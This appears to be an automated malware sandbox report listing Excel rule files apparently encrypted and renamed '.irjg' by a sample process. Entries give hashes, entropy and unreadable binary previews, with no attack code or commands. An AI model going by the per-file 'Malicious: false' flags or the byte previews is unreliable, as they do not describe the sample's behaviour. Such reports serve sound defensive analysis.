SHA-512:	7A2B4CD168DE813A5A0D36E983E6D8F1859CBB9423A728537933B85DAB54ED2B6E06527C67B2EAEDE6A281CE09B71C82976836242303F8701B70EFDA8E78B3FA
Malicious:	false
Preview:	<?xml..W.R...m.........L.>......\E.....Hk..X...r..j.h.v\|..bF(V...l3.X..,y.....D.q[.A.6.Y..-.....p.b".+`.qR.&3..%...Y8qb.BA.uM.cOn.B?..R.X.'......D;^+......6........qY9f.%.;.Z.Qi......Q..sr.t.~..Z.H..lO"\R.P........Y...+".B..m.q....U..J..W.`;.:.6.,.....j.KR..4...X.2...wL....t.-.?..^ '.(R^.J.........@..Q.D7z.+1.....4..5..m.pf.....$...f.C"...c../.....PX$6KB^./.$-......~....Xe....}.Wu.o..R...Y..tV}}H...)......S......%...~..7...k:.?:.....xs..c#Z..n.`.-,...q.l.p..s.q.b......$.8.a8....G.....9.......o..!...Q.lF5.^;MZ5g1..k...MN..??.\|..3.U..;F.DV.......GJpco.T..g_.=..a.^pL..=.vM..!.i....v4..k.....d..^.&R^.2.Q...U..0/...O..X.....+.y]n0D.y..8.VgV/......._@CDT....3}.....f.JL.4.A@Y.V.r+!\.=.w.r.p.3..%m1....?.8&L..4.}97BS.&.gf..m.OU..kQ.!+.@,....Z...\|.2L.*f.........xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170082v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.682556887878782
Encrypted:	false
SSDEEP:	12:sboCJowcwNyWb9ktd/KHQT+oN8MWRq5ljKO4axMDTHrVu/QIlw3UpT848Rs9M2cq:cBcwh9C/KHQjL1ljK6MDbRSwS848W9pX
MD5:	781DC95E93B5F2B169A63C37DDDC49D1
SHA1:	60FC4BE077FE6530E95A1B40611AC4CC45BCD698
SHA-256:	73C9439E94951FC4216D7F48FF93B124D1DABE79BC7100678AD3ADC7EC21E518
SHA-512:	2BEA9A8ACEDE962C891BA7C38F867B62D9AF3A4C9435A79D503A11CD0B278F8B714049C482769BF7FF3B5B0F086F046F7AD8E6FE5030FFAE93F16B30380060B7
Malicious:	false
Preview:	<?xml...-M.D..>..>k Q..;..rU}.{l..3}.c.>....G1F.....O.h..[....2.zH.L:p..2.s..v.'..4.d..g......t)*.&..Ii..{.{L}..t"ak........q}f(...D+.B..q3..{....c.S.N+...)6.B.. Bf.{..........t~.+..q.......N.......wq.5...y.!.....m....i...Z....\|..69.2..t...!_.....s....y.&:..{.!.......T..P.E....F.<y..c..e..U.k%...5z'.Gx.G)$.....+..t.V.nG.;..<^FxN\+....rh........7...)...f......_`.C..;..n.IG...3..t.@;.x..O.N-..2.!\.oP[k.H.....;Ol#X....W..P..J..X..P.,.vE.f...Yi..!.Da.O..K.{5zY)..#+4..._.j..O2.gi`.8..O4......:...@8..%.....u.n35z.......>1k......p......l4R......).BZ.r.M'vD...O..C..........^k...........\h.{../!V!.<5...E...w.<:.6.Ep7..O.X..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170083v6.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1421
Entropy (8bit):	7.876860990645452
Encrypted:	false
SSDEEP:	24:RkhszhFxMXnpBs8Njg4kBxfzFd3mlUW7w5DrfAFc4zsEG47BsMxtSU9pbD:Rk0r2NjxknpgkvAXs26swqJD
MD5:	184E11A3C9219EBC0EF851D4DD9BCA44
SHA1:	753EAE25FF95C30130AF608C7F5DAF6A3A48AD92
SHA-256:	F221C4BEE42514256FAFA0D0BB6CACA15EDF78DA62DAB8FEDC2B3489981D372C
SHA-512:	B763B674A583D434D02D7693048D464A8AFEF92C2AECEEE1C49AE8F7D4F1E408395A47F5E01A215DDED0D8B8FC5D7D6FF5743DC6E274FE72B05F540946A7530B
Malicious:	false
Preview:	<?xml..K.P...A.....$.?_).C.G\F...6.4...Xo.1#.6L...)....`..\.f...;..\|..U...=.N....."DPrUA.[..?..Z..Hr.4...(<...#..0..p~....JV.{.q..cR.A..=...r...l.On&...Z....._..2.z....}.d.D.......0\|...]@.1s3.hf.h........P.@.wZ..6v..c......{.\......k.v.jdT.Ww.S.2{....=.P}.?.r...........D'>.V0...bp/.?3..?.r..........Y..W...'..dq....+V`..oOi....R$...8..........D.K....I\.}..>B^..i....rNX..%...p%..\|.G..,.....Ju#...G7.b...n...cv...Lqnd ...Ov.......].........B.j..s..Nt>2..BCd.}.9.S.[(;...@.../.\..8..h..n.".2...05..?..X~.b.......bS?o[H.%.o.6x....tj.}.RV7.ny+..$=F...8.cl.j9 .........7...]."M9.`...a"AE.^M.p1.ey.t...........N.Y.9.I...0..J..W..u.=....9JHhF=._b..X...W0.f...K..y..H.)3.e.B..6..Ugg.SP....m...Q ..;.e...n.#..Q..T.o...p..].W.U....<*...Q..^+`.v5..H..=.:{!h......~+ss._..,...H..#.Z...v.`....(......G..tW......fJ9..l}.B.j...`.y.W....G./6....7y...0d.j....%%_.hh.CLm./....3...>.$......G[.c..EUN7&h..e.i.k......8..<.b..a...uJ..8.w...i./.hz.....r.Z.KbE...t...m.;.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170086v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1171
Entropy (8bit):	7.79866434900523
Encrypted:	false
SSDEEP:	24:B3zptFOgSlqSCOC0ohrv/nlgWVaoYmDXCIV513Zm9pbD:hpTHSlnoF/nVao/DXCUzaJD
MD5:	F4C5A177FB610B00EAC017BE30F8F1F5
SHA1:	37C3832BD1ABB62C9BB6E36000884647B68D9364
SHA-256:	B2B1D76877AC67E22954B11CA44FE497D2EE018628B385C60286552D4F83C948
SHA-512:	95793C039999104ED8B5C9D3CBC561F5AF109EA1BC5F80AEBB19A8ECB1119ABE0CC0CD3E3B2439BD92A03E86FB9585F10D526E3C9E9FA4C1155784922852CA33
Malicious:	false
Preview:	<?xml.....3....e..B.\..0d.....`.."..n.q'j.....:...y......D^..n.:...D$...Y..%<..4...b.O]...(..~...nA..iW&K].V.... i^$.........^,M.........^..Fn.7...5.goY.8[.yk.8Mq....ex@{a..j...:..o-....5..x.[.c.K..K.r...r......f......1.B5._kV`.x..6. a..-XC.03.A....a!.e...aX...J........_...\|i......If.fg.Z.q&..1>O.V...4r..+...L.l......T{..4....{s.[....K.......{..Lj...".c.e....l.6.........X...t...E.......F..g@B{'.3z.j6.#O..<.5......I......g...Y.(u...=..a...%Q...{..4......(....6X...L.....e.......,.p(d..g.P.a.\".......RW.......T ...MLbD_~n.PV..h.E.k.u.q.1M..F....#.?/w..8s.=..l=.P.].....F. P...3.6p.4..8..?..W".......... b......b..L...LNOY......+k.. c......P..Sk..,!..<.{.a.s..F...g....5>.._!..g8.jN.tm...&..?TP.m.l.....{6"..jkV.].R.......X.=..y....g.B)`H.......#Y./.5{.,..rqpH.....#.._....W....a..l.Q.ao\|..8~%...6k.....AL..7.\...V..f.I.\0<`............^H]......#..5.Ad.>.....!..'\....x...!.Th[...f...5.E'!........e?..dq...0y<g...J....P.883l\|..P.$...$....m....`Op....=.#...G

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170087v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1176
Entropy (8bit):	7.81695456430574
Encrypted:	false
SSDEEP:	24:4/7u4B4l5XT4QToZh3oDZrUgTfMMBQAdXU0ENCF9pbD:4/S4ul5iZJirUgbMAQ8p/JD
MD5:	89596061376DD757BEA18E901CD89502
SHA1:	0BE68D04A00027FDCE10D1063D9353990ED7AC44
SHA-256:	AEF9249BB2B2D40009B99469EBF8CB30AE2BC11466ACB7A8273D5102AD2504CB
SHA-512:	0C6668906CABDB16EEC9FBCA864D630CA39EF66B8021DC1BF888EB08B3205564AF8A91E6503A72D87647E399049EDE26AFFCC5999E031B4862EA08B7AAF6DA88
Malicious:	false
Preview:	<?xml....:@..St.i.:..........l....I.bm.....Y,_N...x..J-..y..."69..Bl..V.&E..\|:.........#.TI..<...:.6..\|...aRKJ\|B...[..j..@\|.(....m.,.y.....{<..8..3....3@L...F].....@.....^I.c...o.f....wmU"o.Ur;.a..{.q...d.&D..1..s.v....faX.J...a.\|#>>.r.........I..8^..h_.....u.\|......Zx........J..34b.-/..........&3.%,kz...3.......+.m.("../.h.\.<:..T...-......i....f..v....%NS..d_.14..D.T,..........G........X..\.....7..-...\...G....6.D..T._........QM......x......&....m^.g\....1k%...2.}..b.e.[..C.s.......3.y?.1G....Q{.\[..NOD.}....V..$..^0T...u..Ym@b....5..%...dd.......5..wg..$..&.H../:C,.k.. #..(........Q..x....q..._-.....!..9..3....R....f......\..H..I&.......E.r.....C.J.Rn...5.=rm.vS.I...w....A.Nq.I.<......]....5..}........)`tG..Kr.....=v..........S.....H$bz7.........j7\|..#UL...6........iJ...2..W....$P..ASX....FO...8....J..d........a8.r.$..$z....5TO...:.!..d....~..q\|.wb(..~S.../...QZ.W.....P.e...e.H....&.UY*.8..aR@8...)0ml.&.-.y.V".Y.s?n.ph$..l.T

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170088v3.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	7.812374451645903
Encrypted:	false
SSDEEP:	24:Ck86djU4XUAYd8Dvq39ANeKRIe81ni9vDVjaOqT/JlOsl9pbD:Ck86ZhEAYuDvpNeKul+vDV6/dfJD
MD5:	A7125DE4308187C77232391A3E66D91D
SHA1:	ACD19C9A68DA47DF1F1158C88681282DE019504C
SHA-256:	9DDE78779DC5FFDA62FE3AEC194E6571917F165AD7EBCD697660721535DC3F14
SHA-512:	E17DACF1414B6F44DAF2113B4B8142A558EE5D71D6D2EBA720682829A810B6847B4E2E8005C08B26DE2415A78431893AE23EE52AF45F693D738C1273A5EB9779
Malicious:	false
Preview:	<?xml.....Z.......+M.."...Y..v....N I."."Hi]...2...G.K4=..s7..i...]..!.G........:..(.?`.V....i.....M3... t-....s..@hIe..M.`..c.}9r.....Z.O.... ..u....g'9U}qQB....l....f>......./Wa.....(..]..S\.....H....0....?..+#w.R..$.W_.w.q..C..F.[......=.S.(k0.a\h..@(.....stgj...O3.\A..F..s..a.JX....."v...h....`]..+...j....F...b...._.......M.....4(NZ.`.....D.m.q.q.Q.\...\|Wk..2.A(.'..-s..^^.^d..)..'.I.G=.c....p.L...~..P.~..e.Iv.D.Y.+.3x......~/.'.j.B..fo...n.....q..Qc...E.b......6....i;.3..?.^r.k.g)..SV..N..{.N.Z...._.21...{.]8_..B.k_.....7.......?......%.........1<..8...3..(DI..r.......O...O..M.&\).dX$Oo.....0..H.N..v.....{./9"p.N7.5C..G3.6....'O.c........2.k....)..}....a3..k..@..U..M.kh......HA.]...4FQ.....$..kF..x.=...M}4vpL....I.p.....OU.O.bF/;}Q../..r...0...Q....\|.t..{tj.MG......Ro..gFz.6&......AW...".'~5..?.l..d.....OeW...5..@+^3.......]9..m.=.N.I...'..-..w.i.t...6z%6..?^......A.K.K.&StL..[=90(..c:Z.*.j~M.&zU..\|.w.......).l...0..."..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170089v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	715
Entropy (8bit):	7.692113326190927
Encrypted:	false
SSDEEP:	12:3cAZgDP4QuMVdOKPskjkw+++ALMdfoFMwQbJZjc0sJj1ACLC9M2cii9a:MgQbzDskD+bffQ0i5k9pbD
MD5:	C25D7073C70256AF2E1458BBCA4E3971
SHA1:	3557E09905B7246A92065DB77CF4BC6AA0E64814
SHA-256:	FBB4F9980423331AD042F0426EFCD27C02EF0019C496DD4910FD2E6BCBA1C335
SHA-512:	E47150F47BBE12D4D18D3FE36B91870403D355626DCD583EB298C930938C7D6029A1208A46A04550A6A3D6B05CD4B9CDDA412E55AF08B8E1CCC8C13EECBD847D
Malicious:	false
Preview:	<?xml.5.-xd......p..;.Si.'..:.GvO.o..R\|..\|..$.U.\S..h..5N.F1 .....3.q...>......]..U.<j.,.. ...2q4.&...%.M...{.z... e^.e....W-.....j"=v......)b.O...n%..l.GY...5.ic..H.(5.k}..vcu.......M!1.....&.......;........nBD.}.N.=.R.....g...s.q.m.V1U..._'}..y...i.l.......qH.Y(.G..6.g....u>.Z{.T\|...i....'6?L..d.Q.M)5E.y..E5.\|.,......_...........@u9c..~%.%.b.Lk.N..L.~v.e8\|..M.....A....W%{.)..J#.w......we\.{...Y...VaY.....3z.v.<.......\6.B.e...~&..{p,.....A.g.'.>.bJ.W...`...F....J.6.B..Mv...:..(.. 4..;q.I.:..>...o .g.0.H.v..o_...n.7B2*..a..J...........y...V.p.C.e..L..7...5f.u....j..P.z.XM..kw.X.Q...!.....-.>xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170091v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.8472918518659815
Encrypted:	false
SSDEEP:	24:Y2G430Gv7iaa0CNHmUv5Jy5xIrenGvp2KUrZJ0XCFgWb9RUUO7ztfjDp9pbD:v77iL0CR5IyQKUrIXCFhXUUOvtfXTJD
MD5:	1D2221E9B38359B612C7401B12B0CF20
SHA1:	4FE1A4C8FEB120ED1287C2593616B9BE6F956076
SHA-256:	63E9C0F30AF7955554C0D038D3612FDBB50CBFAE63B3C8AC7A4CDB7660DD4C15
SHA-512:	73EF504A31C1F08C8E91A1766E58BCDC2401B63EC5B9ABA491B0C426A8D0F53CFD977BBAFF3EE5DCEF7920D378C888A298D16BE34816810DBBF887EB271D8AA9
Malicious:	false
Preview:	<?xml.M.6<qX.gq..8....hO..,.>...;.T1....\e.{......>...V...\|E.J...".a...`.......?%mc..B.e..R...o..I.}y.>..[.Eb'......OS.....8.>......m.]4v...5.v.u.......\|.....dk..%..W.4......3j`.....6..N.Z.A..#....n-.9F..^.R.`..C...OAz..!.{k..y.2..\."....l.m.^.F..K.UL..].....QdX.y.$y$.....i-8..-.i._.)..q;.J.....&.F..m....<.)..)9...t...J>..g......m..5aal..5....~....=.e...p.... ..~.4......g.....P.,...g.:...N..N.2.-..T.....8.....LBBH........W.j.yBo(.Z..FtzW7.x.@o0c6u@...........eH...Y....?oy.1@.!a..f..1YAO."[..\|F...o.@...8.R.2....<da...g..?q^r:....s...Kc}.Gd.W/S.../6...L..y)f.8.5.o.....%..io..2...f..._j..k.......NH_.iQ.Ta..1)...;@.6.*%..bF.......'m.`u..+..2..."B....z/_.7o.3....]9....gk.....PR...E{...!......e.....l#+.4.i.....A.............[[..u$.O....j. ..t...XF[qB..9...@.iS....c.4>..,.x.I...:...)r...d...Zi.?..c...A..E.9.-K...AUH2.=0.W...W9..g@.....;.gv.....D.^.gv>.B=.w.U(-.....".h.Cl....Gt.]E..^.......].m@MC.L.v.....`v.x..k.Tm....eJy.4xX..[..j........L.k....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170095v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.788627146437947
Encrypted:	false
SSDEEP:	24:3ESCRsHQwpDiEIuI2xhBYpi4YhK2HOlOKfEY9pbD:WRKFQ2xEpS42HO4KsuJD
MD5:	42F99D49FF29021D3CB8CF807B6CC9CC
SHA1:	660A0037F124A556A629511E7BAC950056E94A12
SHA-256:	6522F0CA6ED42A07ED930737E7169F9ED7EC2511E126E1E26D5645F86F9337A6
SHA-512:	13FB27258FF1804BA9465A5D7190A0E8A0EBF914660279EAA7A15E1D86DEF49FB121E27FBF78B95CD412A56B0B428E3073D0B5B2EF4EBE712CED72F8579028AC
Malicious:	false
Preview:	<?xmlx...'x7..(......L/....{A.b.Q.c.0q.....a.....@.d.\|.b>..3..@.............9..._...j]S)..Q.paq..9G...S;.j........k.......Y..... ...6s7W8$.,....a........<...Fp?..iX..\..T.....R..r.v.l........y..V:.Z.B...^r./.jC....xk.[.6.&..C..m{WP.[#.Zw.5[....O..}pW.A"w-.y)P.....$.w.g+...D.4xHx.>.X......~.....Gz...:.O._..e.{//...>..@4..O%.1G...!....]..<y..l.......7...%.s..b.9M..<..ZF....<n....).c.h..+fyr.`w.o.Q.....{.......0...G..Im`.oy...ja.".....9...;...c.,~.......gw..b....NhG+.."..qe)...X..h:....al..O\|..R#..0.e..d........Q...8S....$C....G.C[.g..-.y..%.6..*....Q..x...].jw].n_...r.e."e.v.I.ZK...G..(....z.u.D.b..;....o\|7.c....Om.e.L.O:f..E.C...si.Q...do.....4#......c<v2...._.'....d....z..\|.....Gq..[.....5....`,..<.;f&h.[..%...y/...U.B...0.X.os..\|A...5...p.n..{.0$........cd.^.P.K..%i...B...5.m..Zt..u.NEm:.........eJ.)..b..U...%.vi..GJ...;..}.}.....d...}......y.+.g\|..^..J.....I.T.:...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170096v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.670047004699606
Encrypted:	false
SSDEEP:	12:0E3qML7EEzNC3oOzIMgjc0D/f4wqCUIarbbdrgInX5ZIWXKMFDEoSp9M2cii9a:b3qMnEEBCNz6b+CUHXnIavO9pbD
MD5:	323BEEA8B04987783181110B71E69F6B
SHA1:	C27BB27FC3586AA2009916787954CF27C4B76C48
SHA-256:	F5AC5B92805952C6B202934C1AA3D0C0F4AA431535EF2F3F1C7AFF092C8BF286
SHA-512:	5DB20444BD5DD1FCC070717696DAE3DA772814963F2A0439A3044988F359CA66E7A9632C34FC4ACDF1F6384DDD737E0FDBABF0224E977989059717A265460FA2
Malicious:	false
Preview:	<?xml.../o..q.5%.Q....,..".7......?..]......._.j..t'.6..........[......`......X\`...L.G.G.s..d}..."P.8..0R#.....@.%.....'=c..C2$...Ypf...........&+X!......}.....@....p..H...{.(.0.{H..[o.#"lQ.K."..."..s....{Pj...$h...D.<...}......Kl(.....q....L.5..PEh..s..N>x...c!65_..Cv\|%.l7..<.....a.0...!.l.....Y..........C....D`Bq..}J.c\..Ea..t..ev..\|..4.P..2.....k1...VW.q-..v..?K.;#}A;,.h.Mi.m.../.ho.Y...q,:..8..R={.N.T...:/..iZ...._..j"l..+....\|.S...\..eL.FSu.&....~.3......V$..`..!...K@......#hz...I.E@d.T.u...B..S..#S`R/.r./.9]...X..I...1.........V....C~{.p1.DP7}....oT\|...aX.t..T.'T..o_...).P......o}....*.6...L`...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170097v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.730600978276757
Encrypted:	false
SSDEEP:	12:NH2cG/iKkIOmZ+wwcnNlCNwxjgaXD/kTxF/48JogssXoTz717FBW9M2cii9a:N0j+6xUGjUq8JRXoTz7ZO9pbD
MD5:	1ED84EF18842697339EAAA70C0E8736C
SHA1:	5AA225D721FB2CB0B3196C7F1E47DE18244DA878
SHA-256:	D6F7903805BA4C57855F88B03732481CF795CE889EBDA9283D9F6BB4969549E5
SHA-512:	712CB05BEEC5D516BFC340E0A5AD9EAC85C4D75E6D86DEE4DCC9390522A8F06D55C1DE128BCF8589AC7AC218B40BE785443D6080CCDC7F80316577C8550A1CCA
Malicious:	false
Preview:	<?xml.!..j8......=.K.W.i...)X2c..K..t.. .....K.#.J.k..($a...q.J...v.../........R.........[..g.Arj..Q=`..l\|.9$....Uq....O...(Yr.A.:..X..'/..?....].F...).......:.4..\.5..4'7U.\|t.<.7..".o.s._..e5.@..a.....S.x.^..l......[.T<.o.H..........f........U.j.....D...W.]..>....[`..U`..I... .,.."`4.H...O./......D9....._Q....3..=.+.2.H...8$..r..`uL."Y.5rA.;..x^../.f.5...\....a..@.%.u.F.Z~.R.'..`.....rMD...a.....Ki?....*R.x.C.uX.(.....H'.]~7R....=l....I.om..@}.<.x.U.'..Z..F..c.^L~Rs\|."9.N..hO.....m4T.C......x(........^Hk....:.0....$A .M.-....H..>;B.....J...a`....l..GAG........ W.>.T......z.#.If......m.8..=c\mVJ.s.r..!..W.zJYYf.D.ytm..n0..-..../.L.y>..&..`....C.P..Q..D.u.....!r2BxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170098v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.699804124994399
Encrypted:	false
SSDEEP:	12:BxRfFZUdk7CloM7gepgb1GlHaULYvXl4ALxEQNCEJutkMDUAkLgjqGUEIQj9M2cq:hvUdKhMUemYpcvXeAV3J0kMDUACSbXz7
MD5:	934BA106217E7BB88E4C0B971FFA6DC9
SHA1:	1A902F5C0D0A47BD81D9A61AE7FB49B414A3B1D2
SHA-256:	67912415F55C481D7F3238FBAFD6C9C1BDD6EBB62BEBFB9236C869217B9C51D2
SHA-512:	636DA1C7727DBF48C3585CBCFBE020EC60339429F6BBD4D0C0C24F4210D82B9F8F2B3A9998D1B13E3773EAF2A0BA35F0A795B5227B1694BA9A130CE13D8592C9
Malicious:	false
Preview:	<?xmlZ....7`...?F.....I.V./5sT>....GB.9Q...mC...o..{4.S.g.^!....Nv......8....~..q...+.d..w.:.Ba..71...Yf&1.6#U........p.n...>...J.=.....Q9...`t.XC.......T.3...`...P.c..\.C..I..(..pX}..R.T..C...-qg.?.'..f.....,..J ..A..5......BU,U..0..?({.Q.^j...^@...<n...@.-....k..E#.g.GX.........T\|....:..7k.....Q...7.e......%5.2!..$..;wXo.vz...j..8.L..lK~A.F...{[.a.......%...3..-I.Gt.,...o.t.a....l..[...b:U.\|K.....`e..<;p..........<.>\....F+.f..v.s.[.....b..#CK........Dx...=...b........7.#....g:..z..8].--..8..?.....w?s?.)(.......4..m.:{..Z...F*.z-'.:q,.J......xs...F._H...0G5.t.I..m.@.....=v}..._.+4=..=X..iCK-...IBe/~..D... ..I^O.D..u...x..?'..w#..+.V..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170099v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1306
Entropy (8bit):	7.843119861393558
Encrypted:	false
SSDEEP:	24:W6aZ9RYtEJegeBVSf+u7Zd05uDJ9VVWaYwjmUUBIfhk6hvFCgkbPjKC9pbD:WtRQbVG305QVJJK96kPg0PfJD
MD5:	795CD14509B7200EE1F827833902764B
SHA1:	B47439CE3818DCF7B25AC4343937D8F91EEE2E04
SHA-256:	5BA13451A2488F50D48B74C27E78203D6F04650AE9853A815C4C5DF54CD3726A
SHA-512:	221EA249151686356DA1C3456D24D7619D73CDD51D1FF8B3A276C166693ECB3280D861C185B2644A5C5585A0CBA1E29476E71D9811B0EFC444F22753EC06A6C6
Malicious:	false
Preview:	<?xmlY..ww .P..\|..CV...../{6A..#~ 8..%L.DZ....G..>9.j..<p ...h..E.................>.g5..=`.........-..w....5....(..Ef.xG.G.i..AXP...V..e1.\|`{....-.rj.T...Na..-.}?.U...z`7...S...o...r.S............%.y...o..A.E.!.."....X...E......w<.......6......"y%>F..]4o"W...=.....W..{].....f`..\l..+.:~....0k,.Y...pF...Z..;...a..,%4.D.QX...J..z..aR.s...O.{.D...by..-.kj`Ae...!S......&..<`.3#.+{T~.k.._..\QA-W.'...........E.3nt.>......%.-.cs....."^..\|.kJ..f..."W(O_\..`.:.....JU$....x...E.[D.%.J.N...$u.THw...i.3...I.y]..{...T..G...n.XU..oP6u....l.H.m4...E#/t...So.No.J..xBfq.}....4......[...Ix.K..2o.'.!"%..cr&.J...}iw..$k.S=...s.d..YUs.'.. ........K.....y...H-.>[...@..'.).....uV,.b..q......I..k.PV.P...RXWR.Ff.Vs...x.X...\>....D...9i.2..`4.N......-..\|....._.=*.W..~`.~....t.(.(.....b.....d.9..N...;....[.....9/'s......C..t.L...)..Q.z..WW.g...Nt.4fg{n....m~'...>.k.8..mO..t...Y..`..K..J<.. .c... ..n.Qe...g..`.!..W\| ..../%....J7i.i.I.,..Eo........6x1...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170103v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4285
Entropy (8bit):	7.956277355421464
Encrypted:	false
SSDEEP:	96:LP4TKK6oRE5d2DKSEsJo/BELCvGfeiGrM6zGhYe:RKBEWVEshIGfeJrM6de
MD5:	A6D6EC4A26118C75FC68D00ADFA6C20E
SHA1:	AE11B25C23FCE1E503679C4E5D266E62E15AC0B8
SHA-256:	BCE92C901A9B9DE6A490863F45FD5F66A3DD3887912015EF64338D2C1056CE21
SHA-512:	37F24C251BAD3230ED5E80AEF7BDBA8728C2ECBC639B30ABAA4B16200414010D6DC139231CFD8DDA41A2BFF3CF44787C16028F7FA3B88695A847977AC66D7DA9
Malicious:	false
Preview:	<?xml..L.@.....9kI..l..GM.u.]<.:.7@.w..2....c. ./}.pL5..l.K.Bfk.....u.nY.<...#=..6.P....I...Z...4~i+f/G..6$vZi.C..W...x.{..........NsN..@U]S...&P-.4.v1.].N..2._."..+s.L,C}...2xvu^..+I...:..."..(..O.g..W.Nh..`.O.....~....L...t.'.}#..COD...l....r.s..c.f...&>!2.O...hk.qN.........raJ....9$....B}..f.%.x....i.\|.E....9.i<..W.@..H..j$...dG...GV...0..m...R)<;....a...`..... S..o.z...Q .....yJ.\|.IR.-........X..Q\....w...OD8.zo.@U..zD._9=A'.5.c.]...q....'./M..Z.4....o...v.I...../J.l.U:.A.u,....Xj=.e.....v..n.. \|.".......~...P.ZjG...._.............U`? .V.D1.5.K..B 9.g....E...9... z$.5....y....@1.m@..{..~)....0.2g.*....qo..Q!nc.....@z.o...}..P.yA..{<..p..Id.n..`..Y....q...k....4.........}.i}K~J..N.8..M... ].H]....A ...HN.@...U.u.1a.{.....l2..........a.V.;.....s...cx-...)`....1.../.....F=~.I.....5.@kt.z..T..:..^..FWz..#.l...qnp.L... ....x..A.....y.%.......L......xf..I.O..q./.....:.?f.w.=..@2M^.$yea5..!...;.....d....Q..3...J.n7.w.{..i`8..y..W.V..K.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170104v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	7.751724042614834
Encrypted:	false
SSDEEP:	24:6Y47Ad2ck0Bv+NHk8rSQAnoIuq+kOVrl3b8a9pbD:L2ckw+jQnoPq+zVB4cJD
MD5:	DEB129FA1962A5CCC7D2529CC4ED8783
SHA1:	672C7123F32DF8E4CCA16BA340D7F850717FA887
SHA-256:	DE6341C931C5BB3C8ADFB99BD525842BA997A9686BEC31E5D055C5339B5E2E95
SHA-512:	B804B424555C4B02AAFCEC385B801E8C96C3AC11030C9E46250990B585A94A4F4E6C4316F521F6372775DF9B6547324AB96FD53C04DCA7617C8929BC19684706
Malicious:	false
Preview:	<?xml.%1B..K.....e6..S..........Y.,-,.Y./..P...T.9.Y....=...X.....t0...]([C...........k.hjEf.5.$.!.>...."............\|@........vOxkX...S.u..h.c.)Q...+..\|..qra.P.`"R..".B".%..n.nr.=.... ...q...J.G....R.....t.....h.O....P.~.C..........&...mf.q.2..).s...5..i....;...Bi..W.....n...1W...<.....W.....d6.A....l.../.......<;`..]/.....'.....9..g"wD....<.5..9].........c~D?...?..d...>......i.....^.JU............]...e.>...$..W...C.........M..V/y+<...A. 6...\=.d..v.o.....&.TF.;Xn...~_.6......O...+.D.d...A.}...U.....D.:...U.D..J..."*..d.r........8U;_d.".....0..T..s..u.S%....WOz...'...#2.....ZH.%......S....b.F.B...!.:z........5..C... ...T7..w..%.}.$<.....J.\..<.{......H...N.Z....yS.1d....)..X...z.........l....7....1..1<...-..-....q...4.(..2.o..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

